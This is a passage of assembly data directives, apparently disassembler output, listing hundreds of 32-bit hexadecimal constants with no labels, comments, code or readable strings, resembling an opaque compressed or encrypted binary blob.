		dd 14AFCD88h, 0E809B077h, 17386D0Bh, 98DEA687h,	0DA925E1Dh
		dd 7B5F450h, 0F86350EBh, 944974B5h, 27670297h, 0AF5F053Dh
		dd 34C9BAA3h, 1DD8F529h, 1F0CE398h, 0E12AB755h,	40E437E9h
		dd 5166247h, 45F5B7A2h,	0C2FA5F66h, 6D704A4Bh, 78078B9h
		dd 0F901DA21h, 0B8A0FBE9h, 242DC829h, 4A2756E8h, 0D422F505h
		dd 0A255FD7Fh, 0FD5D98Bh, 0A83EB66h, 4835C50h, 45E5C653h
		dd 4CBC6FE1h, 0BA5B6B4Dh, 77BD424Bh, 6CEA5963h,	166F0FCh
		dd 0E396C911h, 7E82C657h, 0F5CDC7B7h, 600802EDh, 3C05E97Fh
		dd 2D701E6Bh, 0B620881Ch, 7DC7BFF5h, 0E059BA6h,	0CAA1C831h
		dd 9AE7E020h, 3FBE0342h, 56758065h, 5B17CB05h, 0D0940A22h
		dd 90240716h, 0E2F0E82h, 942A32A5h, 0E416AB43h,	0CFDD6h
		dd 70121988h, 0A157E95Bh, 48C09BB7h, 0EF4AB8F7h, 898B524Ah
		dd 0DED0E6BFh, 3DCE78F1h, 0B212F389h, 0FB5D5382h, 952C6790h
		dd 9F2765Ch, 775163EBh,	84F3F105h, 0EB0812C5h, 0B4872228h
		dd 6DD849E7h, 54557E9Fh, 4E5F04A2h, 4EA02072h, 78D35F50h
		dd 8BBFEC9Ah, 80F0F16Fh, 329B1CC5h, 50B455E9h, 0B6273628h
		dd 884A71D8h, 55492623h, 0FAD5430h, 0D5AC3ABDh,	0DE0805DBh
		dd 0EA310005h, 5AD6015Dh, 5265EAB1h, 0B0BB3BBh,	5427EAE9h
		dd 0C877EB6Fh, 97148BE0h, 1A7A1EF5h, 765699E9h,	287EA6FFh
		dd 8F32D19h, 864FFC71h,	0B5F5E446h, 0BB629BC8h,	0C3829BA3h
		dd 47FA915Dh, 40635220h, 0B00F5040h, 44BB2C6Ch,	5C979BA5h
		dd 10AC30B1h, 7A6C91E9h, 0DECCE85Fh, 38C597D6h,	0EAB4C4BCh
		dd 2FADDF70h, 2491988Fh, 6FF55FC3h, 46E81B06h, 78ED803Eh
		dd 26A1795Dh, 57E6CD5Dh, 0D7EB20B2h, 30F68051h,	8982AFB7h
		dd 0F3627551h, 5BDACF02h, 24BD6E5Fh, 0CF933BFEh, 0A238E0E4h
		dd 0E9560BAEh, 927DC1BDh, 80B43238h, 6B0F0BA5h,	0D2E9CC0Bh
		dd 90D7F45Ah, 40BF4E21h, 9DF18176h, 0E05B39C7h,	5BDFC791h
		dd 7E680684h, 0CB31FF55h, 0AC2A2BEDh, 4760CCA8h, 0BD93BEEFh
		dd 0FFF34AFAh, 0D9126D5Eh, 5B5EFB49h, 5780875h,	7D52BB00h
		dd 58F77CDCh, 0E46EB3DBh, 2C056CE9h, 3B8AEB70h,	85D07E4Ch
		dd 0ABC9C44Bh, 0EF80B0F2h, 526A1609h, 9CDF0128h, 7539E630h
		dd 5E1F1B1Ah, 7F8BF220h, 570E5124h, 52C33180h, 0B53F2B68h
		dd 0A36AFBA5h, 5EF47F28h, 0BF54874Ah, 302386C0h, 62A0C1B3h
		dd 7F1A6C44h, 0B613BF64h, 51E49990h, 591E7B6Eh,	59174011h
		dd 3201EED1h, 81D3ACC4h, 0FACA812Fh, 555B0215h,	0C436E441h
		dd 8928166Bh, 0DA4095F0h, 0C0B7370Fh, 91CA0B9Ch, 0FCF900F7h
		dd 4A1E45D1h, 0C54DF801h, 0CCFF16D5h, 223A3679h, 7C01138Ah
		dd 0CD060BCh, 0B024C54Ch, 30B225D6h, 6A291CDFh,	25EF0C83h
		dd 0EF889D60h, 0AD52CBEEh, 294202EBh, 7D4F050Ah, 5A5CF9C2h
		dd 7F553DC0h, 0B9215A6Eh, 827B3F60h, 4BE984FCh,	62C9DED9h
		dd 7B778C8Dh, 0CA0C8BA9h, 46425CD1h, 0A6CEF925h, 166110BCh
		dd 0B0019EBFh, 0FE895625h, 9D2C2F70h, 5FBC7798h, 479D42Ch
		dd 6C05D50Fh, 1902BC76h, 6F7DCFE9h, 92F52AF3h, 20C1B881h
		dd 8E703A11h, 0A43F100Ch, 94F10132h, 810C0806h,	3B7F5B14h
		dd 0ABE909DFh, 41D072C2h, 0ADED3E23h, 2152BD80h, 0E912FCAFh
		dd 6BF4F0ACh, 8D8A9715h, 0AF7E1DD6h, 41EAD0C8h,	0F732770Bh
		dd 0C57554D9h, 3B8DFF2Dh, 24229FE0h, 90E619Bh, 83C8204Eh
		dd 0C7317CBAh, 22FD0C3Ah, 9D2936F4h, 9D68CEF1h,	4D201916h
		dd 4E871F4Ah, 7E52AB09h, 0D0C4E9F9h, 0A4E902B5h, 0F7225772h
		dd 0A7E67CEFh, 458B519Bh, 9F9844A0h, 98973C75h,	2D669E00h
		dd 0E4A06F67h, 702429ECh, 911033E9h, 0C3B65201h, 804BF680h
		dd 0B4507706h, 9FC5E9C6h, 0E49F17ADh, 0AFDB5764h, 0AC96C27Ah
		dd 9FDC7EE1h, 0E5F5DC8Bh
		dd 0BA58272Eh, 0C7380190h, 83673F60h, 0E11D13E6h, 27EEB063h
		dd 51123149h, 0C50C3118h, 0F82A312Ah, 57170ACEh, 9C013DEEh
		dd 30FDAB89h, 28C2CC80h, 0F1292024h, 8824490h, 0C15500C2h
		dd 89520D17h, 70D26052h, 7A74017Ch, 7E0629BAh, 57C72AC6h
		dd 4DE9D170h, 59CCCEEAh, 0F266F905h, 949350E5h,	0D1D80B7h
		dd 0E7E441Bh, 33C3513h,	2C2D54E2h, 3191E1F5h, 0B75127Eh
		dd 8E2087Eh, 9D6ED85Fh,	0F6B502FAh, 4754885Ch, 5608BB00h
		dd 904B7DD1h, 4CA0093Ch, 849375EBh, 0FC774598h,	0CF1D3850h
		dd 6BBCBA55h, 365BC83Eh, 0F9015824h, 0E942375Eh, 0ED39E4D8h
		dd 103E3C24h, 0CB810048h, 491A468Ch, 410AEE0Fh,	29C9818h
		dd 3379CA1Eh, 6BA65C8h,	0A492B587h, 3C40DECEh, 46705DE9h
		dd 80EBA04h, 0C2B18033h, 0F01252B9h, 44BE4A34h,	21163B2h
		dd 0F147A168h, 1C778BF6h, 0E913EC44h, 0C0B30927h, 0A73FBF41h
		dd 0F7660B98h, 0CFF185E1h, 98E791C1h, 728DF2Dh,	1E3816CBh
		dd 0E385FE4Fh, 0BBC298BEh, 997D3209h, 1694FE0Dh, 97914257h
		dd 30401439h, 0D582AC09h, 5E264A53h, 8827DB27h,	0DE2F1482h
		dd 0B6424261h, 39D58A89h, 402B3379h, 1445F3A1h,	4B4B27D0h
		dd 0F87D57FAh, 0E3D85AB5h, 523B4056h, 0A522DC95h, 14EB1F68h
		dd 5856A816h, 3FAD39BFh, 1F849595h, 0B258FCAFh,	9EE855C6h
		dd 18BCD601h, 0BF9F8652h, 0AFC64EB5h, 90CA3C6h,	381A69A3h
		dd 0D45A64D4h, 0EC55691Bh, 0BED9A817h, 70CD2605h, 175E02B1h
		dd 0D37F75CFh, 6350059h, 0E96E9D10h, 870CD434h,	4F93F2EBh
		dd 295A0BEBh, 549AB4C0h, 0F040AA2Fh, 0E907800Bh, 0C8C451EAh
		dd 10BBDA6Fh, 0CC5891C8h, 2EBF1819h, 0B55DF05Eh, 74EB0CD2h
		dd 0CF10BCBEh, 5F842102h, 0B62EFEB7h, 315C0B59h, 0C3BA00F3h
		dd 79B65A92h, 0A9D84E03h, 85E192F5h, 0A8B2986Fh, 8F3034Bh
		dd 0CEA78C9Fh, 5177556Ah, 0ED2F630h, 4F4AF9B9h,	7C9AFC1Ch
		dd 0F51EEBEFh, 5ECF56EEh, 0FC93655Dh, 0FD4B21FAh, 0F3FB144Ah
		dd 0BAD00803h, 75EFF0FEh, 0C5ED3BC0h, 9D236D43h, 899032E5h
		dd 39B16839h, 1FA30BFh,	0B6422AB6h, 1EFE79A7h, 0EF4900B8h
		dd 10A10550h, 57EA121Fh, 0DEEDC797h, 13CE9A2Ah,	0FC5A5152h
		dd 0CA311CCBh, 3E8009B4h, 5FC83EB4h, 2C53F895h,	2C049B47h
		dd 9D838E0Bh, 0B8482FFDh, 5319D845h, 4072CE9Eh,	0B7F5BC12h
		dd 8AAF4B60h, 4BF14A89h, 72880A1Ch, 5850BFC7h, 0BC7A2E45h
		dd 0F8448691h, 0CCD2B716h, 0FECF8F10h, 8AB1C5A1h, 32595826h
		dd 0DDC9F351h, 0D939C82Fh, 0D5688D41h, 888B572Dh, 3666307Fh
		dd 685D8023h, 5B75FD27h, 318420F5h, 3038DDADh, 39FF2BC8h
		dd 171E624Dh, 48BC6963h, 8490A0DDh, 9B3BE20h, 53F1685Eh
		dd 62A32CB0h, 0FE78880h, 39EF8058h, 74D8696Bh, 57D9F624h
		dd 0B803A310h, 18590BCEh, 0EE7B40D3h, 8816739Fh, 7D702C41h
		dd 0E90485E5h, 3C989283h, 0BF7A1F3Fh, 0EE464B10h, 0F9CB39F1h
		dd 0CB780877h, 4408DE24h, 0DBF0179h, 7836236Eh,	8E7101Eh
		dd 0D616C14Bh, 0BB372A12h, 0EB405434h, 8487A53Ah, 40DA892Dh
		dd 0D1D01B0h, 0FE9741Bh, 9B827B83h, 4C4D5EFDh, 0B0AA0E46h
		dd 0EA547678h, 1BB2B21Ch, 0C9F00F6Ch, 0E68EEE48h, 0AE34D2F6h
		dd 0E7C2FF24h, 60AFF473h, 5DB97DDFh, 2D074B5Ch,	4349E103h
		dd 2FB8AE87h, 53E9A1B7h, 68648473h, 61E8411Eh, 1F22D5C9h
		dd 0DE63C831h, 0EFFD5Ah, 0DCFBC755h, 3148DB71h,	58292FC7h
		dd 0E4C17E88h, 851E1DB8h, 4D81BD10h, 584CD979h,	0D6C62C5Bh
		dd 218463EDh, 0C59D1F85h, 57B013D2h, 0A5F3B98Ah, 1AB292FBh
		dd 0B835C3F6h, 90EB805Bh, 85CF5BB5h, 32C7AB20h,	0F56956D7h
		dd 5FC93679h, 0D1244EC4h, 0E792B2B4h, 22931B07h, 0F1816660h
		dd 715D171Ah, 0C8B10E38h, 0FEE952F9h, 0E2AA16CBh, 827FE66Ah
		dd 40B9B57Fh, 24F601h, 557F4C1Eh, 7C5C2EBDh, 57452326h
		dd 51FB9302h, 40D6D412h, 737D4A7Ah, 8A033B6h, 57C20CC1h
		dd 627635CEh, 0FE01F873h, 237B0CE3h, 546267Fh, 2BC01705h
		dd 33D4BDE9h, 0FC272DAEh, 1EC41EF1h, 0A2EE59B6h, 0B42D7D4Ch
		dd 0B7E0C480h, 395EBAFAh, 62ABAC12h, 56DEA305h,	0FA6342ADh
		dd 905A4AE2h, 0FEC15BADh, 866F3B7h, 5C0F8D36h, 0F0EDEB4Dh
		dd 236F0C6Eh, 5A4C4E58h, 0D7444EC1h, 0CC6C6495h, 0C02BE913h
		dd 38ACB857h, 8D26C426h, 32FF1F12h, 8B7DC73Eh, 0E221D497h
		dd 0F3095E43h, 5C58420Bh, 0BAD43003h, 0D71C4ADEh, 621B3EEh
		dd 0F4A4627Dh, 0A6C20D76h, 8974D11Eh, 7D922B8h,	70E1E942h
		dd 3976909Bh, 0A1DBC008h, 0E90701EFh, 0F14C25F7h, 9580FECBh
		dd 73813DF1h, 0E57562B7h, 47C31D6Eh, 0C411373Ch, 7271FA0Ch
		dd 6800A7E2h, 0B8244A6Ah, 0F5004006h, 0DF1CF991h, 902F26E9h
		dd 58C78B7Ah, 6428F482h, 4AF1C5C3h, 713F894Bh, 79D9C426h
		dd 2A9E0551h, 0BA592572h, 7E543FF4h, 6570BC5Fh,	6EF2EA89h
		dd 0B04AE94Ah, 0B9DB3EE9h, 0B9840DE2h, 0BDA42E0Dh, 0F7C40DDh
		dd 255A8B27h, 0CCAAC2EBh, 330F970Ah, 9529E17Bh,	0D6F60590h
		dd 0CA82CEFEh, 9587099Bh, 8F5FBD8Ch, 320C21ACh,	0CDEF9D00h
		dd 0BA46A239h, 0D2510E41h, 0EC45FCE9h, 0DA7290C4h, 0FA5FC280h
		dd 0BA415FF8h, 186DEE2Eh, 10D9F47Bh, 0BF5FA940h, 4327765Ah
		dd 8036F9E3h, 3022B284h, 64C558E2h, 81FFC0BDh, 3EBFE04Bh
		dd 5E4EBD28h, 0C2E72419h, 6EF7062Dh, 9BD0B762h,	35679F31h
		dd 0B86F2BD9h, 13ECA535h, 5750259Eh, 148B41C4h,	6D9B38AAh
		dd 0DF25B796h, 905ED94Ch, 0B6AF9EC5h, 0DDC01370h, 66C761ECh
		dd 81400431h, 2B79E969h, 6856CE00h, 7B412C8Eh, 84175A28h
		dd 55B2BE0Bh, 39C0AB1h,	0C092B080h, 0C0367E1h, 6449E30Eh
		dd 43F69709h, 0CD82DF35h, 995C5F06h, 0A2390563h, 491784Ch
		dd 1B6BC981h, 3A80EB0Eh, 4E2B3E68h, 0D84FD07Fh,	0D6904F9Ah
		dd 1AAB8B3h, 0C7705A94h, 0DC25835Bh, 0EB3F578h,	0D4D62DDAh
		dd 193C4381h, 16905150h, 2BBB0FE3h, 0F230933h, 0B12E02FCh
		dd 5BF9603Ch, 92B75436h, 0D602136Fh, 412BBD19h,	0D053008h
		dd 0E02E3A41h, 2C17C11Fh, 0F6B82F73h, 82C82939h, 0D9E60B41h
		dd 0B1E941D0h, 0F6BD7B96h, 515501D2h, 7ED546E0h, 170992E0h
		dd 56F8E9EAh, 0BA6447A9h, 0E9C1782Dh, 0EB29A371h, 0EC17FE5Ah
		dd 416B2FB4h, 0A4DA4184h, 9E8A2BC8h, 855C9467h,	1002BCDBh
		dd 1179792h, 8E9A8DFAh,	827B32A0h, 0CBAFE979h, 7AD8D097h
		dd 252C4CB7h, 0FCBD6305h, 0C8820006h, 294E6608h, 807878B5h
		dd 544FE908h, 690DE127h, 5006DE4h, 76D96855h, 5D668017h
		dd 41624704h, 278D03F4h, 3AD6FEEFh, 9E75E953h, 7AFAC925h
		dd 0ADFC2046h, 0E2E78102h, 5F43FA6Ah, 8F01F8E4h, 0E9FEDC0Dh
		dd 6381A51Ch, 0AD3F88BAh, 0A007EC4Fh, 9C84ABBEh, 0A9C17545h
		dd 179D777Bh, 6F0D43E7h, 50014F1Dh, 0F3A2F09Ah,	0D630FB29h
		dd 33E92FDDh, 0F2FDAE62h, 0CB8210DBh, 0C1D625FEh, 0F8893169h
		dd 6EF5C601h, 6FE92F40h, 22B80507h, 0EAC06420h,	3BC5B14Ah
		dd 0B78459CEh, 585CB8BAh, 1C442052h, 0FABF6866h, 7A162D58h
		dd 2F98B245h, 0D40E09B3h, 95822FE9h, 5C012699h,	4171D921h
		dd 42A88105h, 8496809h,	4608BD29h, 0BCE592DCh, 2DA85B29h
		dd 0EFCB52A4h, 0E98562B2h, 0CA59527h, 6A50C26Dh, 123BBE80h
		dd 13E0F6Fh, 0C33C0EB6h, 9488E022h, 16C7AFD2h, 9FDD4F2h
		dd 0D2CD355h, 0C2A50215h
		dd 95F7FCABh, 1E942725h, 4661E917h, 12D237A8h, 4F7BEE8h
		dd 7E798D5Ah, 0B2C1B81h, 8F606602h, 3FEB1295h, 0E293FAECh
		dd 42E9E066h, 4FBF94A3h, 742AB09h, 0E26C79FDh, 47664C0Bh
		dd 0E004BEAh, 0CB150576h, 0B052BC75h, 71B60608h, 0A05E2714h
		dd 244C0E0Bh, 2800440h,	74C55D09h, 5EB9A2B4h, 68050AC8h
		dd 0B9444FD8h, 5200D457h, 0B45087B2h, 0E4800B0Fh, 0C03CC67Ah
		dd 0CABD0560h, 0BAB884D2h, 0CCECF013h, 10D0E997h, 445E7D32h
		dd 0EA7EDC16h, 1828D9CDh, 59EE95Ah, 8DCA0AB6h, 491031ECh
		dd 13553BE0h, 64ECACEDh, 0FEE264A3h, 1A88FB7Dh,	5350FF1Fh
		dd 61AF2F5Bh, 0C9D18B38h, 650120F0h, 380C027Ch,	2B4756E9h
		dd 7BD501C3h, 0DF0161E6h, 579AAD5Bh, 0E348838Bh, 2FC03982h
		dd 8F26A9EEh, 8189B7F2h, 8EE91622h, 48763AF8h, 409BAD2Eh
		dd 0DD6B6862h, 51121751h, 0DE19F305h, 0C6C4A3F8h, 0D5D412A8h
		dd 0EE98CC4h, 0EC2CA0Eh, 0DA697F4Fh, 6AA26BD0h,	43EE3055h
		dd 0C5664A1Ah, 99AD8286h, 57F6E78Ch, 0D5B7816h,	1D6024FEh
		dd 87B8D7E0h, 0AB48C34Eh, 5BA86C4Ah, 8C03D412h,	204090E3h
		dd 0D38B16E9h, 8F85FDFEh, 2C248BD7h, 33B6ECCh, 0C17A6F7Bh
		dd 0EEF308EDh, 5FF3AFACh, 305D1A15h, 0FA51E90Bh, 831E2644h
		dd 0BF22C485h, 0D9167B67h, 414610C2h, 0BA05E5AFh, 0E9827FA6h
		dd 9CA96267h, 0A2080F7h, 1831132Ah, 0D06EA81h, 854BA8E9h
		dd 0B52A56CDh, 4FF62C63h, 32F90FCh, 65424A87h, 68CC9073h
		dd 53997188h, 2D3BFEA5h, 84D29B5Eh, 0AC0BDE12h,	33B883DFh
		dd 0D0C712B7h, 0DBBF050Dh, 0A801BF1Bh, 1D5081DFh, 3B88F17Ah
		dd 704705FEh, 68029007h, 59C915FDh, 57AF426Dh, 0FFE96259h
		dd 0A6ECAC3Ah, 45AFE42Dh, 6ECF0CCFh, 7F4A06E9h,	416D3DAAh
		dd 6662D0C8h, 0E6E54F2Bh, 9AC59AF4h, 656EEC32h,	0E75F261Bh
		dd 39BB5F9Dh, 966A3D94h, 38A021EEh, 409D2A20h, 0EDA4FE05h
		dd 2DE9EC29h, 215DF506h, 49A3447Ch, 92613530h, 82B81CDCh
		dd 89B28A5Ch, 12F590B3h, 4F919DA9h, 61DD3713h, 0F3C4E68Ah
		dd 0B0DE92D8h, 0B600F609h, 2999CBC5h, 27685EF2h, 0A6F13257h
		dd 56E84789h, 7D41613Ah, 5B873D4Bh, 3687B4BDh, 8162F026h
		dd 5B2EE8E1h, 0E90BA3BFh, 64B0D13Dh, 0B56825Bh,	0B94B5903h
		dd 0C5DFA645h, 4E9CDEAh, 75A0EBD5h, 5D7E2DE9h, 0A969B1DAh
		dd 94537598h, 708CE942h, 2ADA95C9h, 0B1B2D795h,	0E927405Ah
		dd 0B9FAC060h, 2D641772h, 2841AA19h, 0ED13DDF1h, 0FDCDB342h
		dd 1DEA8771h, 6E4ED682h, 4462D510h, 0CA2D938Eh,	0BD446BE5h
		dd 71F45860h, 416901B6h, 0DA8F0F74h, 0E205241Ah, 54048A02h
		dd 0A058E979h, 0F5B966F7h, 7757E8ADh, 0C3BE1656h, 0CEFC0210h
		dd 26C00D60h, 0C782FBF9h, 25DAF07h, 0A5B64E9Eh,	0ACB040A3h
		dd 86729F5Eh, 3AFEC624h, 97F99270h, 1C320EE7h, 796655B0h
		dd 0C919F530h, 3B0578EBh, 0F30211F0h, 4DC14FBh,	0D3E66DD0h
		dd 0F583E935h, 0F46DB2AAh, 0BEC0C4ABh, 68BC81B8h, 5B666438h
		dd 6CC728FFh, 0B8734E97h, 1CF79722h, 0E0E912D3h, 0F5A1D07Bh
		dd 3F2E6A1Bh, 0A0106835h, 59F75A38h, 0D11C539Ch, 0E293EAh
		dd 0B00883D9h, 0D4F1C14Bh, 0E9255653h, 0CB440815h, 0F17E650Bh
		dd 67DC27C1h, 0C8F2D9CBh, 4D9E02D2h, 0F88712A2h, 51B763BBh
		dd 54480C04h, 90833A91h, 7984B169h, 0FA63FF65h,	0DD0A4D12h
		dd 2D807FCBh, 703ED525h, 31357957h, 12FC5320h, 83023EAFh
		dd 572831F1h, 23C19B60h, 0D94CBB9Fh, 5D813C0Bh,	5C2F72F7h
		dd 5BD66CDEh, 0AC4B6EF8h, 2A9E130Ah, 205089ABh,	8B97F853h
		dd 123C75EAh, 6B969E81h, 4B5A0A8h, 1D94D558h, 52A7344Bh
		dd 0AD84128Ch, 104BA296h, 52279C2Ch, 0CB034555h, 54780602h
		dd 0E98D3057h, 895A4B13h, 78FCE19Ah, 9E2C1FFBh,	0F3C3A2CFh
		dd 0CB48E2EBh, 9C7BD056h, 0D1EE00AEh, 21389313h, 25EFF05Eh
		dd 0CBDA0DCh, 816DEF00h, 0AC0335F2h, 0EB28904Eh, 8864E621h
		dd 0F089775Fh, 744967E6h, 0D1C7E55Dh, 818141EFh, 650D669Ch
		dd 0BF28CB89h, 1EB900A4h, 0F17377Ah, 0DFF58B5Ah, 0F145ED7Eh
		dd 0E4634BDBh, 2122680Ah, 1736F94h, 164E12ECh, 0D39F217Bh
		dd 0B1C70D5Fh, 0BBE9C130h, 0B8D7ABD8h, 271A26F0h, 0D7512168h
		dd 7DBF903Bh, 6D63E90Bh, 5FADFA7Ch, 6B38550Dh, 815A2BFCh
		dd 2F32C8FEh, 0F9C364CCh, 2F81EBCCh, 0A8C0BB04h, 0BF96BD94h
		dd 805A7024h, 3C127A5Bh, 0C399A278h, 38FE9484h,	0D09F8997h
		dd 0FCB759h, 95A0CD58h,	62A539DBh, 2AEE0046h, 907C0767h
		dd 46200112h, 0B3E91D0Eh, 40383443h, 42850F0Bh,	0E46928C0h
		dd 5B4E3117h, 91F1E5F0h, 8CFEF257h, 547F5647h, 0FF1CAF3Fh
		dd 0ABB0F597h, 40B750BFh, 95D3E95Eh, 6755D209h,	0AE5F92FFh
		dd 0DDFBA916h, 7CDDF99Dh, 5C1660E7h, 0F66DB222h, 0B11D495Ah
		dd 80780B78h, 0CC09BEE2h, 8E5B1A24h, 21FB4FB1h,	24A55597h
		dd 4D0AF208h, 91524438h, 50A86B00h, 0AD631D8h, 4CFA685Ah
		dd 277AA66Bh, 0A3301175h, 1055F64h, 70A2087Ch, 442DE829h
		dd 73B2AE07h, 95D4BF7Bh, 0F4D8290Ch, 16D2990Ah,	0AAF184C5h
		dd 0AFF13BF8h, 9BB4518Ch, 0B4A20756h, 0EEABD5B2h, 0D4828DEEh
		dd 3EC4E660h, 940405F0h, 707DE91Ah, 0AFC25FD1h,	46DC0804h
		dd 4BC09DC5h, 5AFE3101h, 0BB9D835Fh, 3541F1DAh,	0BA80611h
		dd 42F4611Fh, 0B8B31085h, 2E1048F9h, 8A60ECA6h,	0DF4158C6h
		dd 4BC710E4h, 0E05A82FBh, 0F7976C70h, 3A425A12h, 28FB5Eh
		dd 2E28C22Eh, 14D23039h, 4FCFFF1Fh, 0B909FF9Eh,	0A6907FCAh
		dd 80C5EE83h, 0B8BD5B82h, 0E6E27627h, 518AD45Dh, 5EB97752h
		dd 45D7BDE6h, 0D8061DFDh, 0E360D104h, 36108C54h, 5CC1784Dh
		dd 93054905h, 44AB3957h, 172204F5h, 20255BE8h, 0E912EB1Eh
		dd 0BD1E208h, 0BF057DBBh, 0E745CA44h, 0A752A55Fh, 8CBA584Fh
		dd 5F48F976h, 0EF8586AAh, 2FF47777h, 365A426Eh,	0DDC1814Bh
		dd 6FF5EE29h, 32A0FA4h,	61CA1018h, 4E0C0C04h, 0AFC316D2h
		dd 507E98D6h, 0C3DD5EF7h, 0B0A76886h, 89E94552h, 549FBB92h
		dd 0CAA5CFA7h, 868BEEA9h, 0F65CA45Bh, 3AFE7C00h, 326883BBh
		dd 0D00D9F5Bh, 0D29EC80h, 0AAE94213h, 60AA5657h, 330668DDh
		dd 20A91695h, 12B0B620h, 423FD10Bh, 0B355F02Ah,	0AA1493F9h
		dd 15482C9Fh, 0B54E9531h, 2B3EDDC5h, 5ABF8E0Fh,	4EA05F03h
		dd 92159CC2h, 0DEE93716h, 6D3AC8ADh, 167FFEA7h,	0BF3AFEEFh
		dd 5AED9E8Bh, 0E0E95884h, 0FCB44BBh, 1092A34Dh,	5E277609h
		dd 9AAF1440h, 0B092DC9Dh, 442A1804h, 0E2A553BDh, 595D50D1h
		dd 433B8090h, 73684B5Dh, 4737D49Fh, 6FC79F56h, 0BF401B75h
		dd 0EF3B6E25h, 42CE0230h, 0FA442209h, 3F970BE9h, 48049B89h
		dd 0E309EBF1h, 13C5565Eh, 0BBA1C481h, 0AFA17FF8h, 1E313F19h
		dd 362C3E4h, 0DF4F1A04h, 7826EC2Ah, 7D29A40Bh, 0C15A4042h
		dd 0E90213E7h, 0EE765236h, 808579E6h, 0A3DA260h, 883A9768h
		dd 1CF28788h, 0D9A644Bh, 0D28F8D44h, 18E9D675h,	6E8556EAh
		dd 14E5E44Bh, 0DC10D542h, 0C1C603D7h, 0BD9056BAh, 70502550h
		dd 19020AC9h, 800F3A4Ah, 5D35EACAh, 0E44F36D1h,	0A9EEFEC1h
		dd 15FBD6B5h, 60102FDFh, 70B77BBBh, 0F8024B94h,	14B6D92Ch
		dd 0A1DDD18Bh, 44E4852h, 741161E2h, 0D8C71CAFh,	14C2F818h
		dd 673097B6h, 0FB9F07DFh, 56E26D6h, 0E06A0AEEh,	6527845Ah
		dd 39A749A2h, 4EB8183Eh
		dd 7ABE9DDFh, 0A9ECE58Bh, 68CEFF3Ch, 114E51FEh,	0CADFAF89h
		dd 4B57E96h, 0FFFB0159h, 604E01CAh, 0FEEBD9D9h,	0A945D9Fh
		dd 161A0BB7h, 0F5C093Eh, 6884C8BFh, 0C46CEC6Bh,	12129C77h
		dd 0C75EEA46h, 0CDB92CCCh, 1BB600BAh, 4C6826E6h, 0D92519E4h
		dd 0D85EE25Dh, 1CDF97ABh, 0E8D02548h, 0C81D405Fh, 583CBE12h
		dd 0F38FD2Dh, 1CA1DE28h, 41FE0705h, 0CFF0E98Eh,	712EFEh
		dd 76EEF757h, 0F1E94EE2h, 0F6903AB9h, 8177409h,	372855A8h
		dd 0E25D25Ch, 4BC88850h, 86FE84C3h, 0D1A2DCBEh,	0E09DEE75h
		dd 82659873h, 98D8F2DFh, 0D42B4E4Eh, 6943B989h,	0D35A720Ch
		dd 294D4436h, 0E9CBAAD9h, 2212E916h, 0A0A45C51h, 828BF258h
		dd 5FA06EE9h, 7A182F39h, 0D47F00A9h, 0D62FD246h, 601AF76Bh
		dd 550E1F1Ah, 0D04A6F61h, 6DB07C18h, 65E2C505h,	0E5C2533Dh
		dd 3276C05Dh, 75491F61h, 1122F401h, 0EE974A08h,	642E12CFh
		dd 174B24CAh, 6E09A1E8h, 0E9C2B2F3h, 0FB55EC97h, 1E56AD80h
		dd 2580CE4Ch, 0EDD5FEDFh, 297FBB80h, 89983938h,	4F845F54h
		dd 772F1C9Bh, 0C330AC30h, 6F171D99h, 0A6A85A57h, 4C396510h
		dd 0A532446h, 0F5885B83h, 59E8995Ah, 0A48F3CA8h, 91D7974Ah
		dd 0FA7CC880h, 5A87D14Ch, 0F1FAB250h, 0EA5B8E5Ah, 5E7CBCBDh
		dd 0AFE48523h, 207C059Ch, 0F9B7FE9Fh, 0B3086CE9h, 200A3E7Dh
		dd 0B3FB47E9h, 454FD3A6h, 0A4F74550h, 1D38A85Fh, 7C075A78h
		dd 77E253BFh, 0E469788Fh, 13CD98D7h, 96E7808h, 5AFA186Bh
		dd 63C9E105h, 0CA09434Eh, 0A6A2DD49h, 5F042AEAh, 934848ACh
		dd 171E4205h, 3096AE7Dh, 58569008h, 0DE8169D0h,	70329860h
		dd 25289059h, 8A20D5C8h, 4B28901Ah, 1BF64FBh, 0D105C79Ah
		dd 56DAFC17h, 2350DAA2h, 4321F19Fh, 1A5BAA3Fh, 0E9150A9Eh
		dd 0A34AD583h, 0A82024A9h, 5E9EBB43h, 0A056AD1Eh, 59C1E94Eh
		dd 0AA9235BEh, 2D1ABE5h, 6F15CC2Eh, 4C7EE24Dh, 0AEAC4A6Ch
		dd 0E8C74A12h, 9F40DF0Bh, 89B922C3h, 41769DEAh,	0F7B94252h
		dd 6B372039h, 0D198475Ah, 72BB60A8h, 0CFFC2E92h, 0C3047AE4h
		dd 25880F26h, 0BF4EC5FCh, 4E48DB9Fh, 0C6C149Fh,	17B8AD96h
		dd 68E7D558h, 0AFB6Ah, 59032214h, 29C0A7E9h, 0E6806BB6h
		dd 0F006C92Bh, 0B3C0DBDEh, 98DE3046h, 4D0407D1h, 422CF028h
		dd 66454E9h, 30EE074Eh,	0A06D0E8h, 0DE90C06h, 16D7FF6Ch
		dd 0F1E0268h, 91A4FE83h, 58A1D883h, 3CF81152h, 765A6BC3h
		dd 6E25F16Eh, 63E1AD40h, 857BA3Bh, 0EF76870Fh, 722AE90Fh
		dd 2C1C8AF3h, 5954C952h, 58CA79F5h, 569D3D7Dh, 764C532Bh
		dd 5868E0F6h, 4D19BD02h, 3B372B32h, 0DC6B6480h,	0B7ABB54Ch
		dd 9AD93502h, 0AE597F09h, 0F71EEAA5h, 0DA2AB0E4h, 52052658h
		dd 0D2F657B2h, 0E939E7C0h, 82B6ABADh, 0E3ABC1E1h, 28524B60h
		dd 65EDF3B6h, 94662D0h,	0C38A5AE1h, 56B912F5h, 108CE9D0h
		dd 0E98213AFh, 4555FBC5h, 9C5A5F5h, 29015593h, 1BF337F4h
		dd 0A147FDF1h, 0BB3177E9h, 685D0012h, 0AC464BD3h, 3180B4B6h
		dd 5EF83950h, 1710BB79h, 40680A08h, 61BF1B5Bh, 9F69DB7Eh
		dd 0F1EC85F2h, 0C28B070Ah, 1226748Eh, 0A518F2EFh, 9DACBAFh
		dd 55FEE6BCh, 0E90914EFh, 4E66D862h, 0E026B25Bh, 0B5528568h
		dd 43C2BC59h, 0FC9AFD0Bh, 7BA75C57h, 0A8A96DDAh, 10806D83h
		dd 0EDC11E13h, 43ECB71Ch, 6931204Bh, 80E672D5h,	0A092DCE9h
		dd 0DE2DED9Eh, 42B3EA15h, 325FBA77h, 23E68060h,	0B56ED278h
		dd 820D05Eh, 0CB685909h, 2068462Fh, 0D8FDAF71h,	0FE5EA556h
		dd 3B042B56h, 540D984Ch, 0FFB831EFh, 0DABA1203h, 496E9006h
